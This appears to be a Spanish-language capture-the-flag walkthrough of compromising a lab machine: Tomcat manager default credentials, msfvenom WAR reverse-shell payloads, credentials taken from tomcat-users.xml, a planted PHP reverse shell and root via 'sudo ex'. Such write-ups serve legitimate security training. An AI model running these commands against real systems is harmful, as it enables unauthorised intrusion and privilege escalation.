Hacemos el escaneo de nmap: {{pasted_image_20240101185009.png|}} Y un apache es lo que está corriendo en bajo el puerto 80: {{pasted_image_20240101185139.png|}} Pero sin embargo por el puerto 8080 vemos que está corriendo un tomcat: {{pasted_image_20240101185251.png|}} Y por estos enlaces podemos ver un lugar de login: {{pasted_image_20240101185317.png|}} {{pasted_image_20240101185332.png|}} Pero si hacemos clic en cancel, veremos que se nos redirige a otra ventana donde se nos muestran las credenciales: tomcat:s3cret {{pasted_image_20240101185442.png|}} Proporcionamos las credenciales y estamos dentro, donde además se nos muestra que podemos subir un archivo WAR: {{pasted_image_20240101185536.png|}} Creamos con msfvenom un fichero .war malicioso: msfvenom -p java/shell_reverse_tcp LHOST=192.168.0.37 LPORT=443 -f war -o revshell.war {{pasted_image_20240101190014.png|}} Lo subimos y lo tenemos aquí dentro del servidor: {{pasted_image_20240101185958.png|}} Y vemos que nos da error, porque este payload generado no es el adecuado: {{pasted_image_20240101190402.png|}} Por lo que generamos otro con msfvenom añadiendo la parte de jsp, que significa JavaServer Pages: msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.0.37 LPORT=443 -f war > reverse.war Lo ejecutamos: {{pasted_image_20240101190533.png|}} Hacemos un clic en reverse y estamos dentro: {{pasted_image_20240101190609.png|}} {{pasted_image_20240101190633.png|}} Para la escalada, podemos lanzar un linpeas y nos encuentra un directorio interesante: {{pasted_image_20240101191332.png|}} Nos ubicamos dentro del directorio de /etc/tomcat9 y vemos estos archivos: {{pasted_image_20240101190853.png|}} Y si visualizamos el archivo tomcat-users.xml nos encontramos con unas credenciales del usuario sa y con contraseña salala!!: sa:salala!! {{pasted_image_20240101190947.png|}} Por lo que entramos por ssh: {{pasted_image_20240101191303.png|}} Y vemos un usuario llamado toor: {{pasted_image_20240101191517.png|}} Podemos intentar ver procesos que estén funcionando en segundo plano y asociados con toor: ps aux | grep toor {{pasted_image_20240101191647.png|}} Vemos que el usuario toor está levantando un servicio apache http, por lo que podemos ubicarnos dentro de /var/www/html y ahí colarle una reverse shell en php, por ejemplo la de pentestmonkey: wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php {{pasted_image_20240101191835.png|}} Establecemos nuestros datos: {{pasted_image_20240101191939.png|}} Ahora desde el puerto 80 llamamos a este archivo: 192.168.0.18/php-reverse-shell.php {{pasted_image_20240101192033.png|}} Y habremos recibido la reverse shell por aquí: {{pasted_image_20240101192048.png|}} Y ejecutando el comando sudo -l vemos que podemos ejecutar el binario de /ex: {{pasted_image_20240101192114.png|}} Vemos las instrucciones para escalar privilegios con este binario en la web de gtfobins: {{pasted_image_20240101192140.png|}} Lo que tenemos que hacer es ejecutar primero sudo ex y luego lanzarnos una sh: sudo -u root /usr/bin/ex !/bin/sh {{pasted_image_20240101192455.png|}}